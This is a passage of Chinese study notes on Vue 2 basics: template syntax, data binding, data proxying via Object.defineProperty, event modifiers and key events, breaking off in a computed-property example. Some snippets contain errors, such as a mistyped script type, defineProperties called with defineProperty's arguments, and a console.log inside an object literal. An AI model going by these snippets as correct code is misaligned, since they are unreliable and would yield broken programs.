当前位置:   article > 正文

Vue2【尚硅谷--天禹老师】:Vue核心_尚硅谷 vue2

尚硅谷 vue2

目录

1. Vue核心

1.1 介绍与描述

1.2  Vue的特点

1.3 与其他JS框架的关联

1.4 Vue官网的使用指南

2.搭建Vue开发环境

 2.1 直接使用

2.2 Hello小案例

2.3 Hello案例分析

3.模板语法

3.1 模板理解

  3.2 .插值语法:

  3.3 .指令语法:

 4.数据绑定

4.1 单向数据绑定:v-bind

 4.2 双向数据绑定:v-model

 4.3 注意点:v-model只能绑定在表单元素上

4.4 总结

5.el与data的两种写法

5.1 el的写法

方式一:el:'#root'

方式二:vm.$mount('#root')

5.2 data的写法

方式一:对象式

方式二::函数式

5.3 总结

6.MVVM模型

1. M:模型(Model) :对应 data 中的数据

2. V:视图(View) :模板(view)

3. VM:视图模型(ViewModel) : Vue 实例对象

6.1 总结

7.数据代理

 7.1 defineProperty的基本属性

7.2 defineProperty的高级属性(getter/setter)

7.3 数据代理的理解

7.4 Vue中的数据代理

总结

 8.事件处理

8.1 事件的基本使用

8.2 事件修饰符

(1) prevent:阻止默认事件(常用)

(2) stop:阻止事件冒泡(常用)

(3) once:事件只触发一次(常用)

(4) capture:使用事件的捕获模式

 (5) self:只有event.target是当前操作的元素时才触发事件(一定程度上阻止冒泡)

(6)passive:事件的默认行为立即执行,无需等待事件回调执行完毕

8.3 键盘事件

8.4 扩展

1.链式调用

9.计算属性:computed

9.1 姓名案例(插值语法实现)

 9.2 姓名案例(methods实现)

9.3 姓名案例(计算属性实现)

9.4 计算属性的简写

 9.5 总结

10.监视属性:watch

10.1 天气案例

10.2 监视属性

(1):handler

(2)immediate

3.方法一:通过watch进行监听

4.方法二:通过$watch进行监听

5.深度监视

(1)监视多级结构中某一个属性的变化:'numbers.a'

(2)监视多级结构中所有属性的变化:deep:true

6.监视的简写

6.1 通过watch的方法简写

6.2 通过$watch的方法

7.watch和computed的对比

7.1 姓名案例——watch实现

7.2 姓名案例——计算属性实现

7.3 图示

 7.4 区别

 7.5 watch完整版本

7.6 总结

11.class与style的绑定【样式绑定】

1.绑定class样式【v-bind:class=" "】

 (1)字符串写法

(2)数组写法

(3)对象写法

2.绑定style样式

(1)对象写法

(2)数组写法

12.条件渲染

1.v-show

2.v-if

3.v-else-if与v-else

4.注意点:

13.列表渲染

1.v-for

(1)v-for的循环机制

(2)接收到2个参数(每一个参数值,索引值)

 (3)可以将of替代in

 (4)遍历数组

(5)遍历对象

(6)遍历字符串

 (8)遍历指定次数

 (9)总结

2.key的原理

(1) 当我们写上key的时候,是不可以使用的key这个属性的

(2)浏览器上的key属性名

(3)遍历列表时key的作用(index作为key)

 (4)遍历列表时key的作用(id作为key)

 (5)总结

3.列表过滤

(1)通过watch实现(过滤器:filter)

(2)通过计算属性

4.列表排序

14.数据检测

1.更新时的一个问题

 2.检测数据的原理---对象

3.Vue.set(要添加到的地方,要添加的属性名,添加的属性值)方法【vm._data.student===vm.stduent】

(1)直接将属性加上

 (2)使用Vue.set()

 (3)使用vm.$set()

(4)注意点

 (5)总结

  4.检测数据的原理---数组

(1) 修改数组中的数据方法一:使用Vue提供的方法进行操作

 (2) 修改数组中的数据方法二:使用Vue.set() 

 5.总结

15.收集表单数据

 1.type="checkbox"

(1)当需要获取用户输入的value值的时候

 (2)当只需要知道为false还是true的时候

2.阻止按钮的默认提交行为

(1)给按钮添加点击事件,并且使用阻止默认行为

(2)给表单添加一个submit的点击事件

3.要在控制台输出用户输入的全部信息 

(1)直接将_data输出

(2)在dta中将用户输入的信息封装成一个对象,然后直接输出对象即可

3.用户输入类型的控制(v-model.number="game")

4.延迟收集(v-model.lazy="userInfo.other")

 5.去除前后的空格(v-model.trim="userInfo.account")

 6.总结

16.过滤器

 1.引入day.js

2.使用计算属性格式化时间

3.提供methods实现格式化时间

4.提供过滤器实现格式化时间

(1)带参数的过滤器

 (2)多个过滤器的串联使用

5.局部过滤器(只能在当前vm中使用)

 6.全局过滤器【Vue.filter()】

 7.动态绑定中使用过滤器

 8.注意点

filter只能在插值语法和v-bind中使用,不能再v-model中使用

 17.内置指令(其他)

1.v-text

2.v-html

(1)安全性问题(cookie)

 2.总结

3.v-cloak :当网络较慢的时候,不让未解析的再页面上显示

 总结

 3.v-once

 4.v-pre(Vue不解析)

18.自定义指令:directives:{}

1.函数式:函数名字(获取要进行操作的DOM元素,binding)

 2.对象式

3.注意点

1.当指令名字出现“-”的时候:在directives中要加单引号

 2.指令中的this都是window

3.全局指令:Vue.directive(‘函数名',{}) 

4.总结

1.自定义指令定义语法

2.配置对象中常用的3个回调函数:

 3.备注:

19.Vue生命周期

1.引出生命周期

1.通过外部的定时器实现(不推荐)

2.引出mounted函数

2.生命周期挂载流程

1.当不获取el的时候 

 2.把DOM元素写入template

 3.生命周期更新流程

 4.生命周期的销毁流程

5.总结

常用的生命周期钩子:

关于销毁Vue实例:


1. Vue核心

1.1 介绍与描述

动态构建用户界面的渐进式JavaScript框架

作者:尤雨溪

1.2  Vue的特点

1.采用组件化模式,提高代码复用率,且让代码更好维护

2.声明式编码,让编码人员无需直接操作DOM,提高开发效率

3.使用虚拟DOM+Diff算法,尽量复用DOM节点 

 

1.3 与其他JS框架的关联

  • 借鉴 Angular 的模板和数据绑定技术
  • 借鉴 React 的组件化和虚拟DOM技术

1.4 Vue官网的使用指南

2.搭建Vue开发环境

 2.1 直接使用<script>

安装 — Vue.js (vuejs.org)

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <!-- 引入开发版Vue -->
  9. <script type="texe/javascript" src="./js/vue.js"></script>
  10. </head>
  11. <body>
  12. <script type="text/javascript">
  13. // 阻止vue在启动时生成生产提示
  14. Vue.config.productionTip=false
  15. </script>
  16. </body>
  17. </html>

2.2 Hello小案例

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <!-- 引入开发版Vue -->
  9. <script type="text/javascript" src="./js/vue.js"></script>
  10. </head>
  11. <body>
  12. <!-- 初始vue:
  13. 1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对;
  14. 2.root容器中的代码依然符合html规范,只不过混入了一些特殊的Vue语法
  15. 3.root容器里的代码被称为【Vue模板】 -->
  16. <!-- 准备好一个容器 -->
  17. <div id="root">
  18. <h1>hello,{{ name }}</h1>
  19. </div>
  20. <script type="text/javascript">
  21. // 阻止vue在启动时生成生产提示
  22. Vue.config.productionTip=false
  23. new Vue({
  24. el:'#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
  25. data:{ //data用于存储数据,数据共el所指定的容器去使用
  26. name:'小林'
  27. }
  28. })
  29. </script>
  30. </body>
  31. </html>

 

    初始vue:

      1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对;

      2.root容器中的代码依然符合html规范,只不过混入了一些特殊的Vue语法

      3.root容器里的代码被称为【Vue模板】

2.3 Hello案例分析

1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
3.root容器里的代码被称为Vue模板
4.Vue实例与容器是一一对应的
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
7.一旦data中的数据发生变化,那么模板中用到该数据的地方也会自动更新

3.模板语法

3.1 模板理解

html 中包含了一些 JS 语法代码,语法分为两种,分别为:

1. 插值语法(双大括 号表达式)

2. 指令(以 v-开头)

  3.2 .插值语法:

    功能:用于解析标签体内容

    写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域

  3.3 .指令语法:动态绑定值

    功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)

    举例:<a v-bind:href="xxx">或简写为<a :href="xxx">,xxx同样要写js表达式,且可以直接读取到data中的所有属性

    备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <!-- 引入开发版Vue -->
  9. <script type="text/javascript" src="./js/vue.js"></script>
  10. </head>
  11. <body>
  12. <!--
  13. 1.插值语法:
  14. 功能:用于解析标签体内容
  15. 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域
  16. 2.指令语法:
  17. 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
  18. 举例:<a v-bind:href="xxx">或简写为<a :href="xxx">,xxx同样要写js表达式,且可以直接读取到data中的所有属性
  19. 备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子 -->
  20. <!-- 准备好一个容器 -->
  21. <div id="root">
  22. <h1>插值语法</h1>
  23. <h3>您好,{{name}}</h3>
  24. <hr>
  25. <h1>指令语法</h1>
  26. <!-- 属性绑定:把原来的“url”当成js表达式 -->
  27. <!-- v-bind简写为:===: -->
  28. <!-- data中的数据只有name和schoo,要访问school里面的,要上前缀 -->
  29. <a v-bind:href="school.url">点我去访问jack----{{name}}</a>
  30. <hr>
  31. <a :href="url" :x="hello">点我去访问小林----{{school.name}}</a>
  32. </div>
  33. <script type="text/javascript">
  34. // 阻止vue在启动时生成生产提示
  35. Vue.config.productionTip=false
  36. new Vue({
  37. el:'#root',
  38. data() {
  39. return {
  40. name:'jack',
  41. school:{
  42. name:'小林',
  43. url:'http://www.baidu.com',
  44. hello:"您好"
  45. }
  46. }
  47. },
  48. })
  49. </script>
  50. </body>
  51. </html>

 4.数据绑定

4.1 单向数据绑定:v-bind

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <!-- 引入开发版Vue -->
  9. <script type="text/javascript" src="./js/vue.js"></script>
  10. </head>
  11. <body>
  12. <!-- 准备好一个容器 -->
  13. <div id="root">
  14. 单向数据绑定:<input type="text" v-bind:value="name">
  15. <!-- 简写 -->
  16. 单向数据绑定:<input type="text" :value="name">
  17. </div>
  18. <script type="text/javascript">
  19. // 阻止vue在启动时生成生产提示
  20. Vue.config.productionTip=false
  21. new Vue({
  22. el:'#root',
  23. data() {
  24. return {
  25. name:'小林'
  26. }
  27. },
  28. })
  29. </script>
  30. </body>
  31. </html>

 4.2 双向数据绑定:v-model

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <!-- 引入开发版Vue -->
  9. <script type="text/javascript" src="./js/vue.js"></script>
  10. </head>
  11. <body>
  12. <!-- 准备好一个容器 -->
  13. <div id="root">
  14. 双向数据绑定:<input type="text" v-model:value="name">
  15. <!-- v-model:value可以简写为v-model,因为v-model默认收集的就是value值 -->
  16. 双向数据绑定:<input type="text" v-model="name">
  17. </div>
  18. <script type="text/javascript">
  19. // 阻止vue在启动时生成生产提示
  20. Vue.config.productionTip=false
  21. new Vue({
  22. el:'#root',
  23. data() {
  24. return {
  25. name:'小林'
  26. }
  27. },
  28. })
  29. </script>
  30. </body>
  31. </html>

 4.3 注意点:v-model只能绑定在表单元素上

4.4 总结

Vue中有2种数据绑定的方式:

  单向绑定(v-bind):数据只能从data流向页面

  双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data

  备注:

  双向绑定一般都应用在表单类元素上(如:<input>、<select>、<textarea>等)

  v-model:value可以简写为v-model,因为v-model默认收集的就是value值

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <!-- 引入开发版Vue -->
  9. <script type="text/javascript" src="./js/vue.js"></script>
  10. </head>
  11. <body>
  12. <!-- Vue中有2种数据绑定的方式:
  13. 单向绑定(v-bind):数据只能从data流向页面
  14. 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
  15. 备注:
  16. 双向绑定一般都应用在表单类元素上(如:<input>、<select>、<textarea>等)
  17. v-model:value可以简写为v-model,因为v-model默认收集的就是value值 -->
  18. <!-- 准备好一个容器 -->
  19. <div id="root">
  20. <!-- 普通写法 -->
  21. <!-- 单向数据绑定:<input type="text" v-bind:value="name">
  22. 双向数据绑定:<input type="text" v-model:value="name"> -->
  23. <!-- 简写 -->
  24. 单向数据绑定:<input type="text" :value="name">
  25. <!-- v-model:value可以简写为v-model,因为v-model默认收集的就是value值 -->
  26. 双向数据绑定:<input type="text" v-model="name">
  27. <br>
  28. <!-- 如下代码报错,因为v-model只能应用在表单类元素(输入类元素)上【就是要有value值上】 -->
  29. <h2 v-model:x=""name>您好</h2>
  30. </div>
  31. <script type="text/javascript">
  32. // 阻止vue在启动时生成生产提示
  33. Vue.config.productionTip=false
  34. new Vue({
  35. el:'#root',
  36. data() {
  37. return {
  38. name:'小林'
  39. }
  40. },
  41. })
  42. </script>
  43. </body>
  44. </html>

5.el与data的两种写法

5.1 el的写法

方式一:el:'#root'

  1. const vm = new Vue({
  2. // el:'#root', //第一种写法
  3. data:{
  4. name:'JOJO'
  5. }
  6. })

方式二:vm.$mount('#root')【挂载】

  1. const vm = new Vue({
  2. data:{
  3. name:'JOJO'
  4. }
  5. })
  6. vm.$mount('#root')//第二种写法

5.2 data的写法

方式一:对象式

  1. new Vue({
  2. el: '#root',
  3. //data的第一种写法:对象式
  4. data: {
  5. name: 'JOJO'
  6. }
  7. })

方式二::函数式【必须有return】

  1. new Vue({
  2. el: '#root',
  3. //data的第二种写法:函数式
  4. data() {//data:function(){
  5. return {
  6. name: 'JOJO'
  7. }
  8. }
  9. })
 注意点
  1. data:function(){
  2. console.log(this);//此处的this是指vue实例对象
  3. }
  4. data:()=>{//箭头函数没有this实例对象
  5. console.log(this);//此处的this指的是window
  6. }

5.3 总结

el有2种写法:

      创建Vue实例对象的时候配置el属性

      先创建Vue实例,随后再通过vm.$mount('#root')指定el的值

  data有2种写法:

      对象式

      函数式

  • 如何选择:目前哪种写法都可以,以后学到组件时,data必须使用函数,否则会报错

由Vue管理的函数,一定不要写箭头函数,否则this就不再是Vue实例了(而是window)

6.MVVM模型

1. M:模型(Model) :对应 data 中的数据

2. V:视图(View) :模板(view),页面(DOM)

3. VM:视图模型(ViewModel) : Vue 实例对象

 虽然没有完全遵循 MVVM 模型,但是 Vue 的设计也受到了它的启发。因此在文档中经常会使用 vm (ViewModel 的缩写) 这个变量名表示 Vue 实例。 

6.1 总结

  • data中所有的属性,最后都出现在了vm身上
  • vm身上所有的属性 及 Vue原型身上所有的属性,在Vue模板中都可以直接使用
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>mvvm</title>
  8. <script src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 1. M:模型(Model) :对应 data 中的数据
  12. 2. V:视图(View) :模板(view)
  13. 3. VM:视图模型(ViewModel) : Vue 实例对象
  14. data中所有的属性,最后都出现在了vm身上
  15. vm身上所有的属性 及 Vue原型身上所有的属性,在Vue模板中都可以直接使用 -->
  16. <div id="root">
  17. <h2>学校:{{name}}</h2>
  18. <h2>地址:{{address}}</h2>
  19. <!-- vm身上的可以直接使用(或者Vue身上的) -->
  20. <h2>vm身上的:{{$options}}</h2>
  21. <!-- 原型身上的也可以 -->
  22. <h1>原型身上的:{{$emit}}</h1>
  23. </div>
  24. <script>
  25. Vue.config.productionTip = false
  26. const vm=new Vue({
  27. el:'#root',
  28. data:{
  29. name:'gz',
  30. address:'广东省'
  31. }
  32. console.log(vm)//会出现data中的属性
  33. })
  34. </script>
  35. </body>
  36. </html>

7.数据代理

 7.1 defineProperty的基本属性

  1. Object.defineProperty(person,'age',{
  2. value:18,
  3. // 控制属性是否可以枚举,默认值为false
  4. enumerable:true,
  5. // 控制属性是否可以被修改,默认值为false
  6. writable:true,
  7. // 控制属性是否可以被删除,默认值为false
  8. configurable:true
  9. })

7.2 defineProperty的高级属性(getter/setter)

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>回顾Object.defineProperty方法</title>
  8. <!-- let obj = {}
  9. //与我们使用 obj.name = 'zhangsna' 效果一样 但是用defineProperty定义的属性无法改变 或者删除
  10. Object.defineProperty(obj,'name',{
  11. value:'zhangsan'
  12. })
  13. console.log(obj); -->
  14. </head>
  15. <body>
  16. <script type="text/javascript">
  17. // 业务:当number改变的时候,person中的age跟着改变
  18. let number = 19
  19. let person = {
  20. name: '张三',
  21. sex: '男',
  22. }
  23. Object.defineProperties(person, 'age', {
  24. // 当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
  25. get() {
  26. console.log('有人读取age属性');
  27. return number
  28. },
  29. // 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
  30. set(value) {
  31. console.log('有人修改age属性,且值为',value);
  32. number=value
  33. }
  34. })
  35. console.log(person);
  36. </script>
  37. </body>
  38. </html>

7.3 数据代理的理解

通过一个对象代理对另一个对象中的属性的操作(读/写)

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. </head>
  9. <body>
  10. <!-- 数据代理:通过一个对象代理对另一个对象中的属性的操作(读/写) -->
  11. <script type="text/javascript">
  12. // 业务:通过obj2对obj中的x进行修改
  13. let obj={x:100}
  14. let obj2={y:200}
  15. Object.defineProperties(obj2,'x',{
  16. get(){//获取obj中的x
  17. return obj.x
  18. },
  19. set(value){//将修改obj中的x
  20. obj.x=value
  21. }
  22. })
  23. </script>
  24. </body>
  25. </html>

7.4 Vue中的数据代理

 

总结

  Vue中的数据代理通过vm对象来代理data对象中属性的操作(读/写)

  Vue中数据代理的好处:更加方便的操作data中的数据

    基本原理:

      1.通过object.defineProperty()把data对象中所有属性添加到vm上。

      2.为每一个添加到vm上的属性,都指定一个getter/setter。

      3.在getter/setter内部去操作(读/写)data中对应的属性。

 8.事件处理

8.1 事件的基本使用

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>mvvm</title>
  8. <script src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 事件的基本使用:
  12. 使用v-on:xxx或@xxx绑定事件,其中xxx是事件名
  13. 事件的回调需要配置在methods对象中,最终会在vm上
  14. methods中配置的函数,==不要用箭头函数!==否则this就不是vm了
  15. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
  16. @click="demo和@click="demo($event)"效果一致,但后者可以传参 -->
  17. <div id="root">
  18. <h1>欢迎来到{{name}}</h1>
  19. <!-- <button v-on:click="showInfo">点我提示信息</button> -->
  20. <!-- v-on简写形式:@ -->
  21. <button @click="showInfo1">点我提示信息1(不传参)</button>
  22. <!-- 传入参数 直接在函数名后面加上小括号(但是这样会把event搞丢) -->
  23. <!-- <button @click="showInfo2(66)">点我提示信息2</button> -->
  24. <!-- 此处的$event:是要进行占位,防止传参把event搞丢 -->
  25. <button @click="showInfo2(66,$event)">点我提示信息2(传参)</button>
  26. </div>
  27. <script>
  28. Vue.config.productionTip = false
  29. const vm=new Vue({
  30. el:'#root',
  31. data:{
  32. name:'猫咖'
  33. },
  34. methods: {
  35. // showInfo:(event)=>{}
  36. // 如果使用箭头函数,则this指向window
  37. showInfo1(event){
  38. console.log(event);
  39. console.log(event.target);//拿到进行操作的对象
  40. console.log(this);//Vue实例对象--vm
  41. alert('同学1')
  42. },
  43. // 这里的number是传入的参数
  44. // a;:是事件(event)
  45. showInfo2(number,a){
  46. console.log(number);
  47. console.log(a);
  48. alert('同学2')
  49. }
  50. },
  51. })
  52. </script>
  53. </body>
  54. </html>

    事件的基本使用:

        使用v-on:xxx或@xxx绑定事件,其中xxx是事件名

        事件的回调需要配置在methods对象中,最终会在vm上

        methods中配置的函数,==不要用箭头函数!==否则this就不是vm了【变成window】

        methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象

        @click="demo和@click="demo($event)"效果一致,但后者可以传参

8.2 事件修饰符

(1) prevent:阻止默认事件(常用),比如阻止跳转页面

  1. <!-- 阻止默认事件(常用):@click.prevent:阻止跳转 -->
  2. <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
  3. Vue.config.productionTip = false
  4. const vm=new Vue({
  5. el:'#root',
  6. data:{
  7. name:'猫咖'
  8. },
  9. methods: {
  10. showInfo(){
  11. // 阻止默认事件
  12. // e.preventDefault();
  13. alert('nh')
  14. }
  15. },
  16. })

(2) stop:阻止事件冒泡(常用)

  1. <!-- 阻止事件冒泡 -->
  2. <div class="demo1" @click="showInfo">
  3. <button @click.stop="showInfo">点我提示信息</button>
  4. </div>
  5. const vm=new Vue({
  6. el:'#root',
  7. data:{
  8. name:'猫咖'
  9. },
  10. methods: {
  11. showInfo(){
  12. // 阻止事件冒泡
  13. // e.stopPropagation();
  14. alert('nh')
  15. }
  16. },
  17. })

(3) once:事件只触发一次(常用)

  1. <!-- 事件只触发一次 -->
  2. <button @click.once="showInfo">点我提示信息</button>

(4) capture:使用事件的捕获模式【先捕获,在冒泡(处理事件)】

  1. <!-- 使用事件的捕获模式(由外往内) -->
  2. <div class="box1" @click.capture="showMsg(1)">
  3. div1
  4. <div class="box2" @click="showMsg(2)">
  5. div2
  6. </div>
  7. </div>

 (5) self:只有event.target是当前操作的元素时才触发事件(一定程度上阻止冒泡)

  1. <!-- 只有event.target是当前操作的元素时才触发事件 -->
  2. <div class="demo1" @click.self="showInfo">
  3. <button @click="showInfo">点我提示信息</button>
  4. </div>

(6)passive:事件的默认行为立即执行,无需等待事件回调执行完毕(一般来说是先执行调用函数,等调用函数执行结束,才触发事件)

  1. <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
  2. <ul @wheel.passive="demo" class="list">
  3. <li>1</li>
  4. <li>2</li>
  5. <li>3</li>
  6. <li>4</li>
  7. </ul>
  8. const vm = new Vue({
  9. el: '#root',
  10. data: {
  11. name: '猫咖'
  12. },
  13. methods: {
  14. demo(){
  15. for (let i = 0; i < 100000; i++) {
  16. console.log('#')
  17. }
  18. console.log('累坏了')
  19. }
  20. },
  21. })

Vue中的事件修饰符:

      prevent:阻止默认事件(常用)

      stop:阻止事件冒泡(常用)

      once:事件只触发一次(常用)

      capture:使用事件的捕获模式

      self:只有event.target是当前操作的元素时才触发事件

      passive:事件的默认行为立即执行,无需等待事件回调执行完毕

8.3 键盘事件【@keyup/@keydown】

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>mvvm</title>
  8. <script src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!--
  12. 1. Vue中常用的按键别名:
  13. 回车:enter
  14. 删除:delete (捕获“删除”和“退格”键)
  15. 退出:esc
  16. 空格:space
  17. 换行:tab (特殊,必须配合keydown去使用)
  18. 上:up
  19. 下:down
  20. 左:left
  21. 右:right
  22. 2.Vue未提供别名按键,可以使用按键原始key值去绑定,但是注意要转为(CapsLock转换为caps-lock)kebab-case(短横线命名)
  23. 3.系统修饰键(用法特殊):ctrl、alt、shift、meta---配合keydown使用
  24. (1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
  25. (2)配合keydown使用:正常触发事件(Tab)
  26. 4. 可以使用keyCode去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用
  27. 5.Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名
  28. -->
  29. <div id="root">
  30. <h1>欢迎来到{{name}}</h1>
  31. <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
  32. </div>
  33. <script>
  34. Vue.config.productionTip = false
  35. // 定义一个别名按键
  36. Vue.config.keyCodes.huiche=13
  37. const vm=new Vue({
  38. el:'#root',
  39. data:{
  40. name:'猫咖'
  41. },
  42. methods: {
  43. showInfo(evnet){
  44. // console.log(evnet.keyCodes);//输出ASCII编码
  45. // 拿到按键的值
  46. // console.log(e.key);
  47. // 拿到文本框中的值
  48. console.log(evnet.target.value);
  49. }
  50. },
  51. })
  52. </script>
  53. </body>
  54. </html>

 1. Vue中常用的按键别名:

      回车:enter

      删除:delete (捕获“删除”和“退格”键)

      退出:esc

      空格:space

      换行:tab (特殊【因为tab是切换按钮的效果】,必须配合keydown去使用)

      上:up

      下:down

      左:left

      右:right

  2.Vue未提供别名按键,可以使用按键原始key值去绑定,但是注意要转为(CapsLock转换为caps-lock)kebab-case(短横线命名)

  3.系统修饰键(用法特殊):ctrl、alt、shift、meta---配合keydown使用

      (1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发

      (2)配合keydown使用:正常触发事件(Tab)


 

  4. 可以使用keyCode去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用

  5.Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名

        Vue.config.keyCodes.huiche=13;

8.4 扩展

1.链式调用【顺序无关】

  1. <!-- 阻止冒泡并且阻止链接跳转 -->
  2. <button href="http://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息</button>
  1. <!-- ctrl.y:表示同时按下ctrl+y才起效 -->
  2. <input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo">

9.计算属性:computed

9.1 姓名案例(插值语法实现)

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>姓名案例_插值语法的实现</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. 姓:<input type="text" v-model:value="firstName">
  14. <br>
  15. 名:<input type="text" v-model:value="lastName">
  16. <br>
  17. 姓名:<span>{{firstName+'_'+lastName}}</span>
  18. </div>
  19. </body>
  20. <script type="text/javascript">
  21. Vue.config.productionTip = false
  22. new Vue({
  23. el:'#root',
  24. data: {
  25. firstName:'张',
  26. lastName:'三'
  27. },
  28. })
  29. </script>
  30. </html>

 9.2 姓名案例(methods实现)

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>姓名案例——methods实现</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. 姓:<input type="text" v-model:value="firstName">
  14. <br>
  15. 名:<input type="text" v-model:value="lastName">
  16. <br>
  17. 姓名
  18. <!-- 使用():表示调用fullName的返回值进行展示 -->
  19. <span>{{fullName()}}</span>
  20. <br><br>
  21. <!-- <span>{{fullName}}</span> -->
  22. </div>
  23. </body>
  24. <script type="text/javascript">
  25. Vue.config.productionTip = false
  26. new Vue({
  27. el:'#root',
  28. data: {
  29. firstName:'张',
  30. lastName:'三'
  31. },
  32. methods: {
  33. // 当data中的数据发生改变的时候,页面中会重新渲染,所以fullName还调用多次
  34. fullName(){
  35. return this.firstName+'_'+this.lastName
  36. }
  37. },
  38. })
  39. </script>
  40. </html>

9.3 姓名案例(计算属性实现)

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>姓名案例——计算属性实现</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. 姓:<input type="text" v-model:value="firstName">
  14. <br>
  15. 名:<input type="text" v-model:value="lastName">
  16. <br>
  17. <!-- 计算属性有缓存机制:所以此时fullName就调用一次 -->
  18. 姓名:<span>{{fullName}}</span>
  19. 姓名:<span>{{fullName}}</span>
  20. 姓名:<span>{{fullName}}</span>
  21. 姓名:<span>{{fullName}}</span>
  22. 姓名:<span>{{fullName}}</span>
  23. </div>
  24. </body>
  25. <script type="text/javascript">
  26. Vue.config.productionTip = false
  27. const vm=new Vue({
  28. el:'#root',
  29. data: {
  30. // 属性
  31. firstName:'张',
  32. lastName:'三'
  33. },
  34. // vm._data中没有fullName
  35. // 计算属性,对象的形式
  36. // 计算属性直接丢给vm,不给data
  37. computed: {
